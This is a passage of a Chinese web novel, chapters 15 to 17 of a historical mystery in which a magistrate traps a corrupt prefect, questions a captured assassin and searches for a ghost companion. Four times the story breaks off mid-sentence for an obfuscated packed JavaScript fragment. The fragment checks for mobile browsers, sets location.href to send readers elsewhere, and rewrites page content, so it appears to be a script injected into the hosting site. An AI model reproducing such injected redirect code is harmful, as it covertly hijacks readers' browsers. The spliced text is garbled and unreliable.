“好了,好了,别嚎叫,”杜文焕听见噪音就头疼,尤其在这不透气的大牢里,于是随意答应了,“我会找人的。” “谢谢大人!”陆甲感激涕零,主动性也被调动起来了,立刻就扮起郑参走路的样子来,还低着头,时不时遮着面孔。 杜文焕有些惊叹他这么快就入了戏,这小子以后堪当大用啊! 就这样两人从狱卒面前走过,杜文焕还特意吩咐狱卒食物喝水之类的交给程守节就好。 陆甲听凭吩咐,一出大理寺就坐马车回了家,关紧房门。 而杜文焕则是回去继续整理卷宗,一派风轻云淡。 现在饵食已经备好,只等鱼儿上钩。 相比于杜文焕这边,京兆尹李允就没有那么从容了。 他从前做的那些事一旦被扒出来,自己和全家人的性命难保。 他早就传信询问杀手组织接下来该怎么办,但还没有得到回复。 大理寺中的线人告诉他今日杜文焕去了那,看起来活蹦乱跳的,而且明明是带陆甲进了监狱,出来的确实一个行踪可疑的人。 是郑参,一定是他发现了就把郑参带出来了。 京兆尹万分焦虑,即使有诸多疑点,他也自动忽略,一心只想怎么掩盖。 “不,不,只要狱中的不是郑参,他就该被诛九族。”京兆尹这么想着,连忙修书一封,吩咐下人请刑部尚书唐修明,可就在他交给下人信的那一刻停顿了。这杜文焕当真会如此不知死活偷梁换柱吗?而且,他什么证据都没有,单纯一个郑参能造成多大威胁? “等等,”京兆尹喝止下人,“随我去大理寺看看。” 来到大理寺,杜文焕笑盈盈地迎上来:“府尹大人看起来怎么行色匆匆的?” 京兆尹皮笑肉不笑:“听说杜大人身上的毒药还没全解就来此查案,本官也不敢懈怠啊。” “那么大人来此是?” “之前提审的郑参有重大嫌疑,本官此次前来是为了审问他。” “哦?那府尹大人可有什么证据?这郑参说起来还算救了我一命,不可能跟那群杀手是一伙的吧。” “可如今只有郑参这一条线索,他继母也不见了。要是不从他口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12420049|131938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中得出线索,杜大人你要如何向陛下交代呢?” 杜文焕笑了,京兆尹的意思再明显不过,他觉得自己手中并无证据,皇帝那又需要一个交代,不如顺水推舟让郑参认了。但杜文焕偏不让他如意:“哎呀,府尹大人说得有理,但狱卒刚刚告诉我,今日郑参昏睡不醒,恐怕不能审讯。” 事情怎么会这么巧,李允不信这说辞,但这大理寺上下全都归杜文焕管,他在这,自己无权避开他审讯郑参。 见李允露出慌张的神色,杜文焕还要再添一把火:“李大人也不必担心,我已派人去郑府搜查,没想到搜出了几封信。这信还未拆开,李大人要一起看看吗?” “那本官先回去了。” “李大人慢走。” 李允回到府邸,没想到房中的桌面上摆着一封信。 他急忙拆开看,信中说让他按兵不动。 但是,但是,唉! 李允在房中一坐就坐到黄昏,连晚饭也只用了几口。 他越想越觉得慌张,外面十分平静,平静得像暴风雨前夕。之前应该在杜文焕说要一起看那些在郑府搜出的信的时候看的,既然杀手组织让自己按兵不动,杜文焕想必是诈自己的。 他与郑来往的信,不知道这么多年他还有没有保存,连郑妾也没有找到过。 也许没有这些信,但杜文焕要真是诈他的,那这其中实情,想必杜文焕也知道得七七八八了。 此人必须要尽快除掉,李允匆匆忙忙披上黑色的袍子,趁着夜色,溜出了季府,来到杀手所藏的客栈前。 报出暗号后,门开了,他走了进去。 ······ 大理寺监狱这里逼仄狭窄,又阴冷潮湿,尽管不适合人生存,却是老鼠的桃花源。 它们躲藏在地上铺的稻草里,墙角是这些贼客的安居之所。到了晚上,一片死寂中,它们发出的声响是唯一的活气的证明。 哒、哒、哒。 从黑暗的远处传来由远及近的声响,不是那些四处奔走的小玩意发出的。 老鼠的跑动的速度很快,似乎是被这声响惊动,有一只懵懂的老鼠拖着长长的尾巴飞速从一间牢房去另一间牢房。 却躲不过一只黑漆漆的鞋子。 吧嗒。血肉模糊。黑暗的生灵弱小得可怜,区区小鼠怎么抵得过庞然大物呢? 鞋子的主人不知自己踩到了什么软软的东西,皱了皱眉头,但他很快就不在意。他的袖中闪着幽幽寒光。 他跟着记忆慢慢走到那间牢房前,里面的人席地而睡,身上勉强盖着一床单薄的被子。 打开门,绕过地上那个人,来到墙角,举起匕首。 “吧嗒,吧嗒。” 鼓掌声在这间牢房中回荡,显得十分诡异,那个人也吓了一跳,下意识回过头去。 一只蜡烛点亮,映照刚才拍手的人的模样。 杜文焕俊雅的脸庞此刻一副尽在掌握的样子,他笑着说:“还是沉不住气了,府尹大人?” 京兆府尹李允阴恻恻地笑道:“杜大人,看样子还是瞒不过你?” “不是你手段不高明,”杜文焕肯定他,“只是你不如我聪明。” “你是怎么发现的?” 15. 审讯 “这与赵郑二人又有什么关系?” “听我慢慢说。赵郑二人原本是前朝进士,曾是京官。陛下登基后,那些立场暧昧的官员纷纷被派去地方当小官。这赵郑就是其中之二。他们苦于多年无法晋升,就向曾经的主考官,也就是李允求教。李允也有门生在金谷州做过官,所以对当地情境了解一二,就告诉他们在当地敛财的方法。他们也得到了一些钱财,打通官路晋升了。” “这钱是不是给了李允?” “对。但这并不是要杀他们的理由。赵郑二人那么快离开还有一个原因——他们从李允那里听说金谷州的新刺史即将到任。这位新刺史为官清廉,手段果决,他们担心被清算,赶快收拾东西跑路。那位刺史大人没放过他们,很快就上书弹劾。但他们挺幸运,这位刺史大人被卷进一件案子,在狱中死去了。” “他们俩多次用当初贪污受贿的事要求李允给他们的儿子铺平官路,至于郑,是在金谷州时与冯赵二人有极大矛盾。原本李允见这二人贪心不足,想杀了冯赵二人后,将祸水泼到郑的身上。谁知道他自己跌进池塘淹死了,所以不得不改变了计划,就是大人您推测出来的那个计划。” “就这些了?” “就这些了。” “哼,”杜文焕冷笑一声,“当年让他们逃过,现在终于还是算到他们头上了。法网恢恢,疏而不漏。走,去监狱。” “是。” 杜文焕与陆甲二人到的时候,郑妾的折磨刚刚过去。折腾了一夜,狱卒们已经十分劳累,七仰八叉地睡着了。 “你们醒醒,杜大人来了。”陆甲挨个拍醒他们。 狱卒们纷纷醒转,迷迷糊糊看见来人的容貌,吓了一跳,赶快从地上爬起。 “杜大人!” “嗯,”杜文焕应下,“赵怜呢?” “关在最左边那件牢房里,几个时辰前刚刚结束审讯。” 杜文焕点点头,缓步朝那里走去。 赵怜的脸被沾着血迹的头发糊住了,身上皮开肉绽,没有了当初的艳色。她昏迷中听到脚步声,原本因缺血而虚弱合上的眼睛警惕地睁开,勉强看清是杜文焕。 “原来是杜大人,”她的声音因为喉咙被血堵住而显得厚重沙哑,“不知道杜大人亲自来,是还有什么手段用到我身上吗?” 杜文焕平静地看着她:“再这么下去,你命都会没了。何必为了救都不会来救你的主子枉送自己的生命呢?” “哦?看样子杜大人采取的是怀柔政策,”郑妾笑了,嘴上的一抹血迹像是为她涂了一层胭脂,显得凄婉决绝,“皇帝的走狗与我们又有什么区别呢?” 杜文焕并没有生气,他脑子突然冒出希夷的样子,学着她平时的语气,道:“唯一的区别,大概就是我们吃的是皇粮。” “啊?哈哈哈哈哈,”赵怜被逗笑了,“看不出严肃古板的杜大人还有如此逗趣的一面。” 不过她很快收敛笑意:“不管你采取什么手段,该说的我已经说了,如果真想要我的命,就痛快点。” 杜文焕看着她,眼中满是怜悯:“你之前跟我讲的你的身世,不全是假的吧?” “嗯?”赵怜没想到他会这么说,心中一动。 杜文焕继续说:“我这几天一直在查探这其中的关联。为什么一个名不经传的杀手组织要去干这种事?要知道,杀害官员是与朝廷为敌,这无异于以卵击石。除非有比自身利益更重要的原因。而有如此强大甚至不惜违背自身利益的动机,就是仇恨。你是因为恨才加入这个杀手组织的,又或者这个组织就是因为恨才凝聚起来的。而这种恨与当初赵家人买卖人口和巫术祭祀有关,我说得对吗?” “你······”赵怜愣住了,她盯着杜文焕的脸,思绪不知道飘到什么地方,“你说这话的时候很像我曾经遇到的一个人。那也是一个官,年纪很轻,比你的官要大。” “谁?” “你说得没错,”赵怜惆怅地呼出一口气,“我就是故事中那个小莲。不过我是自愿跟着赵家人跑的。那时候真的吃不饱饭,家里人就把我卖给赵家人。我姿色不错,算是幸运的,被留在赵家当丫鬟。其他一起的姐妹还有男孩前前后后失踪了许多个,这些我都知道。但我那时候还怀着一点点期望,就是当上赵老爷的姨娘,这样就可以享受荣华富贵,也不用被抓去当祭品了。为此我暗中攒下银子,偷偷学歌舞乐器,就是那些富商老爷们喜欢的东西。我很幸运,我得偿所愿了。” “但你现在却不惜加入杀手组织杀了他们,有让你转变的契机是吗?” “对,”赵怜的嘴唇干裂,嘴上的死皮黏在一块,难以开口,杜文焕急忙喂了她几口水,后者才继续说下去,“我想象的荣华富贵并没有到来,因为那里有太多人争。只不过确实比之前提心吊胆的日子好了许多,但这样的日子也没过多久。有个大官来了金谷州,说是要禁绝一切水巫祭祀的事。赵老爷一开始没放在心上,我们也没有。谁知道有一天,一群官兵围住了赵府,说是要把被卖到这里的孩子全部救出来。我当时就在想,救什么救,都一样,我们只是被转手的货物而已。我和姬妾还有赵家人一起逃往京城。谁知道还没逃出多远,因为嫌我们让马车变慢还要花钱,就把我们给丢在半路。你猜怎么着,还是被那大官救了,还给了我们一些地,教我们纺织耕田。只可惜好人不长命,最后死得比我们早。后来有这个机会可以报仇,何乐而不为呢?” “你说的这个大官,”杜文焕想起李允交代的,“是金谷州刺史吗?” “是吧,我也不知道,”郑妾回答,“跟你说了这么多,还想问我更多不如直接杀了我。” “不必了,”杜文焕道,“要是那个救你的人还在,肯定不想你为此赔上性命。只可惜日出而作日落而息的生活,你再也没法有了。” 赵怜并没有回应,杜文焕抬脚就要走,却听到郑妾叫住他,说:“杜大人,像你这样聪明的人甘愿沦为皇帝的鹰犬,我觉得可惜。荣华富贵只是过往云烟,未必能得到。” “我不是为那些。”杜文焕丢下这句就离开了。 赵怜遥遥地看杜文焕的背影远去,想起很多年前那个晚上。她没有服侍好,被打了一顿关在柴房里。听着外面的吵闹声,她才幽幽醒转,外头很多人跑来跑去,她以为失火了,哭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12420050|131938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喊着求外面的人开门。可没人理她。 直到她哭累了,认命了,缩在柴房一角,抱着自己想寻求一点温暖。 不知道过了多久,她听到一个声音:“你怎么在这?” 她抬起头,那个人逆着光站在她眼前,看不清容貌。 “没事了,”那个黑影对她伸出手,“赵家不会再虐待你了,跟我走吧。” 她迷迷糊糊地站起身,才发现自己脚麻了。旁边有个人给她披上了暖和的狐裘,隔着衣服扶住了她。她转头一看,是个个头跟她差不多,年纪可能要小些的少年。 随着视野不断清晰,她看清楚这个少年的模样。 “渔生?”她惊讶道,那是她以前住的村子最贫穷的一户人家孩子的名字,听说早早就被卖给商户了,怎么会在这。 少年点点头,表情没有丝毫变化,冷漠得就像最寒冷的冬夜。 她跟随这两人一块出门,外头是无尽的黑夜,有些官兵举着火把到处搜查。她望着那个人身上的官服,知道这肯定是位非富即贵的大人物。 绝不会再挨饿了。 她在成为赵老爷小妾之前也是这么想的。她还是会成为一个玩物。 于是她跑了,用尽了所有力气。 路上用身上的狐裘典当了一些银两,但没有撑多久。没想到,她又碰到了赵家的人。 为了生存下去,她假装乖顺,没想到中途还是被丢下了。 她祈求如果那个大官再救她,她就再也不跑了。 也许是上天的呼唤,那人真的来了,给她吃食,教她谋生。在她表示自己绝不想离开后,还让她在府中做事。 “给你取好听的名字。‘莲’音同‘怜’,你从前的经历的确太让人怜惜了。不过,有赋云:‘夏始春余,叶嫩花初’。莲花绽放意味着充满生机的夏天到来。你的性子不温不冷,正是夏末春始的莲花。所以就叫夏初莲,好么?” 只可惜,我等不到夏天了,大人。她在心里轻轻地唤着,闭上了眼睛。 杜文焕心情沉重地离开后,就得到陆甲的消息。 赵怜,不,夏初莲固然是块硬骨头,但她的同伙却没那么硬气。 交代出来一些东西,虽然不多。 这个杀手组织建立的时间很长,大概七八年。他们被招募进去后一直秘密接受训练,但一直都是暗中做些手脚,处理一些不重要的人。 组织的名字叫“同云”,信物是银钩,称首领为月君,以颜色分等级,从高到低依次是“白、碧、青、黄、墨”。 “同云”从上至下进行管理,专门的杀手只知道完成任务,而小莲在组织中的地位不低,能力属于“碧”一类,深受首领信任。这次任务相比之前较为凶险,本来月君要派“白”字级别的,但小莲主动请缨,接下这个活。 “有人见过这‘月君’的真面目么?”杜文焕问。 陆甲摇了摇头:“这个恐怕要问小莲。其他人都没见过,偶尔看见,月君都罩了一层厚厚的黑纱。连声音也没听过,都是由小莲代为传达。” “这样说来,是男是女都不知道?” “是。” 16. 衣服 “杜大人,您要不回家休息一下?”陆甲见杜文焕精神状态有些不对,小心翼翼地问。这几天他和一众小吏有回家休息过,但杜大人一直都待在这里。 “嗯。”杜文焕点点头,他也觉得自己该休息了。几天几夜连轴转确实有些让人吃不消。 他整理一下衣服,就要走,心头一动,突然想买些东西:“陆甲,我问你,你送礼物会送些什么?” “啊?”陆甲没想到杜文焕会问这个,但还是想了想,认真回答,“看人吧。长辈的话,送些老人家嚼得动的吃食,或是人参之类的补药。平辈的朋友大概就看他们的喜好。小辈的话,货郎卖的一些小孩子玩意,比如泥塑娃娃、小糖人之类的。” “······”杜文焕表示这问了跟没问一样,但他不好意思直接问送女子该送什么。只好点点头,离开了,留下陆甲在背后反思自己是不是说错了什么。 马车徐徐路过繁华的西街,杜文焕第一次注意这附近的商铺。 “停一停。”杜文焕叫住车夫,下了车,看着眼前的商铺外写着“缀锦阁”。 “你们在这等我。”杜文焕吩咐完,走了进去。 一进门,掌柜的就过来招待。 “这位大人,您是要买些什么啊?” 大人?杜文焕低头一看,才发现自己身上的官服还没换。 果然是忙晕了,居然就这么明目张胆地穿着官服来买东西。 杜文焕硬着头皮问:“你们这里可有成衣?” “有的,”掌柜夸奖道,“像大人这么龙章凤姿、芝兰玉树、蜂腰鹤腿的男子,不论穿什么都是一表人才。” 说着,掌柜便想领杜文焕去看男子成衣,杜文焕抬手拒绝道:“我不是来看男子成衣的······” “哦?”掌柜只疑惑了一瞬,见杜文焕躲躲闪闪,有些羞涩的样子,凭着他丰富的经验就猜到了原因,“大人可是要给心仪的女子买衣服?” “啊,这······不是。”杜文焕越说越小声,脸也红了。 掌柜见状,也懂了七八分:“请往这边走。” 掌柜拿出几套女子成衣,问:“请问这位小姐年方几何?身量如何?又喜欢什么颜色呢?” “嗯······”杜文焕凭借记忆回答,“十八岁,个头比我肩膀高一些,身材适中吧。” “颜色······”杜文焕想起希夷穿的衣服总是灰扑扑的,但她适合—— “鹅黄、桃红、石青······” 还没等他说完,掌柜赶紧拿出好几套让他挑,然而杜文焕小公子突然想起自己出自杜府,手头也是有点小钱的。于是大手一挥,全打包带回家。 接下来杜文焕没有亲自下车去买东西,毕竟太过招摇,他吩咐车夫替自己买了一些有趣的小玩意和吃食。 回到杜府,正巧杜夫人从正堂出来,见杜文焕背后的家丁拿着大包小包的东西,出声询问:“你怎么突然买了这么多东西,都是些什么?” “母亲,”杜文焕停下脚步,向杜夫人行了个礼,回道:“不过是些书而已。儿子还买了些点心,母亲要尝一尝么?“ 说着,吩咐家丁打开了其中一个食盒。 “不必了,”杜夫人叹了口气,“你最近也很累吧,快回房歇着去。我这些天总在担心你身体吃不消,你看你,都已经这么憔悴了。让下人给你端热水洗个澡,睡一觉吧。” “是,儿子让母亲担心了。” 杜文焕与杜夫人告别后却径直来到书房。 “你们把东西放这就出去吧。” “是。” 下人领命离开,而杜文焕则回到卧房中,吩咐丫鬟准备沐浴。 杜文焕将大半个身子埋进水里,热水抚平了他这些天的劳累。整间房起了雾气,在朦朦胧胧中,他做了一个短暂的梦。 黑夜沉沉,他牵着一个人的手在跑,跑得累了,他就瘫在地上,望着天上的星说:“那是什么星?” 旁边的人并没有回答。画面一转,他看到希夷在眼前,杏眼瞪大,埋怨道:“你怎么洗着洗着就睡着了?”说着就要上前替他穿上衣服。 他突然惊醒,眼前并没有她。 “是梦啊。”他喃喃自语,站起身穿了衣服。墨色长发沾了水汽,披散在他绣有暗纹的月白长衫上,玄青色腰带衬得腰更细,腰带上挂着一块玉璧,坠着红色的穗子。还没来得及穿鞋,他光脚来到美人榻前,拿起之前未看完的书,桃花眼沾了些困意,就这么倚着枕头,看着书睡着了。 等他迷迷糊糊醒来,已经是中午,正好杜老爷和杜夫人让丫鬟叫他去用午膳。 “父亲,母亲,嫂嫂。” 他一一问好,在杜老爷旁边坐下。杜夫人旁边坐着小弟,长嫂挨着小弟坐。 “小叔最近瘦了不少呢。”长嫂道。 “多谢嫂嫂关心。”杜文焕并不多话。 几人慢慢用过午饭,席间只是偶尔闲话几句。 用完后,杜文焕回了房,忽然觉得白天的日子很长。 他在外任官的时间太久,只在哥哥成亲时赶回来见了长嫂一面。小弟是孩子,忘性大,对他生分得很快。杜老爷又是不苟言笑的人,只有杜夫人嘘寒问暖,只是一颗心就那么大。小弟年纪小,肯定备受宠爱。长兄功绩卓越,时任从四品上宣威将军,镇守西南边关,正和虎视眈眈的天末国打仗,深受杜老爷和杜夫人看重。 而他只是个不上不下的边缘人罢了。 这么想着,他忽然觉得待在这里喘不过气,决定外出走走。 可换好衣服走到外面,他又不知该去哪。 回来这么多天,他大部分时间都往返于杜府与大理寺,没机会闲逛,也没心思探究哪里好玩。至于能人志士相游喝酒之类的集会,他也没收到过请帖。 除了希夷,他根本没朋友。 杜文焕叹了口气,漫无目的地走在街上,心思一会想着案子,一会想着过几天的中秋会,一会想······ “怎么走到这来了?”杜文焕回过神来的时候已经在东街了。 白天的东街十分冷清,只有几个小贩叫卖着一些吃食。 他来到之前遇刺的那个巷口,沿着希夷带他逃跑的路线,一步步走进去。 当时发生的事还是让他心有余悸,只是此刻看到这条路,竟然生出几分怀念来。 他走到希夷带他藏的拐角处,这里堆放了一些柴火和砖石。沿着这条巷子走进去,只看到零星几处宅子。 她白天会躲在哪呢? 他打量着四周,看到前面不远处有座破道观,走了过去。 道观年久失修,门已经坏了,屋顶也破了个大洞,踩在沾满灰尘的木地板上会有十分明显的“嘎吱嘎吱”声。 这里供奉的神像也沾满了灰尘和蛛丝,杜文焕无法辨认那是一尊什么神像。 最左边有一处小门,门板有些腐烂了。他轻轻推 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12420051|131938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开门,门外却对着另一处宅子。 一个七八岁的小丫头正从门里出来,看见他吓了一跳,下意识问:“你是什么人?” “我只是误闯进这里的,”杜文焕解释,“这道观常年没有人住么?” “你说这座破房子啊,没有。”小丫头天真地看着他。 也是。杜文焕想,陛下颁布禁巫令已经多年,巫师蛊婆之类的早已绝迹,道士僧人之类也渐渐消失,这里当然没人住。 “你要去哪啊?”杜文焕看她行色匆匆,问道。 “给我家姑娘抓药啊。”小丫头说。 说完,小丫头就一溜烟跑了。 杜文焕还想问点什么,但看她跑远,也就罢了。 这附近确实没什么线索,杜文焕又回到道观里。 他有些后悔当初什么都没问,不知道为什么总确信晚上她会在,白天他又顾着别的事。如今闲下来才想起来找她。 可她本来就是飘渺不定的鬼魂,自己又要去哪找呢。 而且,要是她突然冒出来,笑嘻嘻地对他说:“你怎么来找我了?” 那副期待的模样,他又该怎么面对和回答? 杜文焕又在心里叹了口气。他今天总是止不住地叹气和担忧,这根本不像他。 没事,反正她晚上会来的。他安慰自己,往外走去。 只不过他还是忍不住东走走西看看,又走到西街乱逛。 他从小就没什么朋友,去外地任官的那几年更是整日处理那些鸡零狗碎的案件。没想到如今回京,竟有了些许空闲时间。 但在闲下来之后,又不知该往哪走。 杜文焕正准备回去,却听到背后有人叫他:“杜文焕!” 他转过头,来人见他露出疑惑的神色,挠挠头,道:“你不认识我啦,我是季棠啊。多年不见,没想到你就忘记我了。” 哦,是自己的童年玩伴,礼部尚书季庭春的儿子季棠。 只是自从十五岁之后,两人就没再见过面了。 季棠小心翼翼地问:“虽然你现在是名声赫赫的杜大人,但我们还是朋友对吧?” “是,”杜文焕点头,“你怎么在这?” 季棠是季庭春年老才得来的小儿子,对他非常严格,不论才学品行要求都很高,但却并不阻止他沉溺于脂粉美色,以至于本来生性爱玩的季棠对考取功名更是没有兴趣。 还好早年陛下体恤季庭春长子战死沙场,给了季庭春一个恩典,让其子孙承袭官职,但因此季棠更加对读书不上心。 在杜文焕还在和季棠一同在学堂时,季棠就是他唯一的朋友。 季棠笑道:“我听说百花楼新来的姑娘唱曲很好听,所以来听听,正打算回去。” “不要叫我杜大人,还是像少年时那么叫我吧,”杜文焕道,“我们虽许久未见,但当时的朋友情谊不是假的。” 听了这话,季棠终于放松下来,他本来心里有些惴惴不安,年少时便觉得杜文焕沉默寡言,只是当时年纪小,喜欢招人烦,所以勉强有些交流。 后来因为那件事,杜文焕没再去学堂,与稍有有点交情的人也断了联系。 再听到杜文焕的消息就是在说书先生口中,说书先生把他说得像神人一般,更让人觉得不好接近。 季棠远远看见他的时候本来是不想打招呼的,但看他一个人失魂落魄的,还是决定上前询问,没想到杜文焕并不像传闻中那般冷漠无情。 17. 别院 太阳已经西沉,天空的幕布染上墨色,偶尔几颗星子挂在夜空,相隔很远,点不亮这沉沉的黑夜。 秋日的夜晚有些凉,但杜文焕还是开了窗,今日的奔波也让他有些困倦,连日来他为案件挂心,此时突然无事,心中突然放松,不免打起瞌睡。 但他还要等人,好像非得见见她,这一日才算完结。 那几件衣裳还放在一边,算是她帮他的谢礼。待会该怎么开口呢,帮她找回记忆已经是承诺过的,这也算是一种交换,这些礼品又算什么呢? 杜文焕对自己说不知道,眼睛不自觉看向窗外,什么都没有。其实没有必要开窗,但他想听听她来的时候青铜风铃的声音。 人们都说鬼魂飘过时会带来阵阵阴风,本来应该是很可怕的预警,但他并不害怕,反而期待。鬼并不比人可怕。 然而他什么也没有等来,不仅这天晚上没有,接下来的几天也没有。 因为连续几天吹风,加之忧思过度,他病倒了。 服了几贴药无果后,杜夫人不顾杜文焕之前的提醒,还是找到了之前那个道士。 杜文焕躺在床上,意识在半梦半醒间,迷迷糊糊听到床边有两个人在小声说话。 有些低沉的女声:“道长,文焕前几日只是有些咳嗽,照常去大理寺,谁知竟倒在那里,还是寺丞大人将他送回来的。他一连几天高烧不退,换了好几个大夫才把烧退下来。现在就这样昏迷,也叫不醒,时不时咕噜着叫什么‘姨’,他哪有姨娘啊!” 说着便呜呜咽咽起来。 清冽温润的男声:“夫人别担心,待我诊断一二。” 杜文焕感觉谁用手指搭上了他的手腕,又看了看他的眼睛、舌苔。 年轻的男声:“唔······问题不大,准备针灸。不过贫道施针不喜欢外人在场,而且杜公子需要脱衣,请夫人和丫鬟婆子回避一下。” “······好。” 除房中的道士与杜文焕二人外,其他人都退出了房间。 杜文焕感觉有谁扶他起来,几处地方突然传来细碎的疼痛,逼得他清醒起来。 道士见他有清醒的征兆,不由得露出笑容:“杜公子现在觉得怎么样?” 杜文焕见面前坐着一个身穿灰蓝道袍,手拿银针,温润出尘,极为俊美的男子。 “你是谁?” “我是杜夫人请来替你诊治的大夫,”男子笑道,收起银针,“不过我看杜公子的病不在身体,而在心。” 杜文焕面色苍白,冷笑道:“看起来道长不仅会医病,还会读心。” “我并不会读心,”男子摇头,“只是看出来一点东西,杜公子牵挂的对象并不是人吧。” 杜文焕心中一咯噔。 “你——” 见杜文焕脸上露出忧虑的神色,男子温柔地安抚道:“杜公子不必担忧,我不会伤害它,更不会将此事告诉别人。这是个强大的鬼魂,你身上沾了不少它的气息却未被影响,想来它并不想伤害你。如果它能乖乖投胎转世,我不会对它动手的。” “你看得到她吗?”杜文焕着急询问。 “不,它并不在这,”男子环顾四周,眼神最后定在窗边的青铜风铃上,“但我可以根据它的气息找到它。” 他走过去,将青铜风铃拿在手上:“就用这个作为引子吧。” “你现在就要去吗?我跟你一起去!”杜文焕说着就要披上外衣,却被摁住。 男子叹了口气,十分无奈:“杜公子这么着急?好吧,没有你未必能引它出来。只是你现在十分虚弱,这么出去,杜夫人也是不会同意的。” “从后门。”杜文焕不顾他的阻拦,就要打开门离开。 男子刚想说杜夫人她们可能还在外面守着,谁知门外竟一个人也没有,之前围在这里的一群人就像是人间蒸发了般。 杜文焕却像是见惯了这种事,也不解释,示意跟他走。 两人走到后门,这里也没人守着。 这让男子有些惊讶,但他并未多问。 从后门离开杜府后,杜文焕才想起还没问这人的名字,十分失礼,而且之前还把他当成杜夫人的探子,他羞愧地问道:“还没请教道长尊名和道号?” “贫道姓周,名霁雪,本门主张在俗世中修道,不拘形式,所以称本家名,并无道号。”周霁雪温和地笑了笑,抚平了杜文焕心中的愧疚。 周霁雪,人如其名,不笑时如同高山上的冰雪一般清冽冰冷,然而他脸上总是挂着浅淡的笑,就像春日刚解冻的清泉,能在不动声色间带走人的负面情绪。 杜文焕见他从袍子里拿出一个罗盘,口中念着听不懂的咒语,手指掐诀,罗盘上的指针乱动了几圈,最后指着一个方向。 两人循着指引,七拐八拐,最后停在一条小巷前。 杜文焕讶异地看着这条熟悉的小巷:“这是······东街?” “你来过这?” 杜文焕点点头:“我就是在这遇到她的。”他心里虽不十分信任周霁雪,但如今也只得靠他找寻希夷的行踪。于是他大概说了一下情况:“她每天只有晚上才能现身,白天就躲在东街。至于具体在哪,我并不知道。我前几天也来找过,却没有感受到她的气息,我还以为她去了别的地方。” 周霁雪见他说出来这些,知道自己得到了几分信任,也不提起前面他极力想隐瞒的样子,顺着他的话问:“这么说,你与它关系不错,那它有向你要过什么吗?” 杜文焕仔细想了想,除了刚开始请求帮她找回记忆,转世投胎,之后希夷便再也没主动提过这事。除此之外并未对自己提过什么要求,便如实相告。 “这就奇怪了,”周霁雪露出疑惑的表情,“这么强大的鬼魂,应该有很深的执念才对,怎么会对你一无所求呢?” 杜文焕摇了摇头:“不知道。”他对她的来历一无所知。 她给了自己这个机会,查她失忆与死亡的原因,但还没等他开始,她就不见了。 他以为她对他有渴求,至少会等他帮她转世投胎,所以他放下心查案,却不曾想过鬼魂是那么虚无缥缈的存在,要是她真的不见了,自己根本没法找到。 周霁雪安慰道:“既然它并未害你,说明还有一点仁善之心,来世一定会投个好人家的。” 杜文焕无言,只是皱着眉头往前走。 两人走至那座废旧的道观前,周霁雪手中的罗盘突然乱转,两人对视了一眼,走进这布满灰尘的道观之中。 可这里只有些断裂的木板、零碎的杂物和一座看不清面容的神像。 周霁雪径直穿过道观,从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12420052|131938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后门走了出去,杜文焕跟着他走到一处宅子前。 “这里是?”杜文焕之前来过这里,那时他见到门里出来一个小姑娘要去买药。 为了确认是这没错,两人走了一圈,但罗盘最终还是指向这处院落。 杜文焕不得已站在门前,又不知道敲开门之后该怎么说。 还是周霁雪有办法,他见隔壁一老妇提着篮子,看起来是刚买东西回来,便凑上去问:“老人家,请问一下这家住着些什么人啊?” 老妇怀疑地将他上下打量了一圈,又皱着眉头看了看在后面站着,脸色颇有些尴尬的杜文焕,问:“你们是谁啊?问这个做什么?” 还没等周霁雪开口解释,老妇似乎认出他来,目光又变得亲切:“哦——你是那位到处为穷人行医诊病的道长?!” 周霁雪微微一笑:“是我。” 老妇放下心来,如实道:“这家住着的是从外地来的两姑娘。” “两个姑娘?” “也是可怜,本来说是要来京城寻父,谁知道刚到没多久,那个小的就因为忧思过重病倒了,请了好几个大夫来看都没用,就靠药材吊着一口气。这大姑娘啊,又要照顾妹妹,又要寻父,但自己也是不能离了别人的,都不知道这一路是怎么坚持下来的。还好她们是富人家的孩子,买了两个丫鬟照料,我家那个小孩还时不时跑过去帮忙,我也可以多少帮着一些,不然就两个姑娘在这偌大的京城太可怜了。” 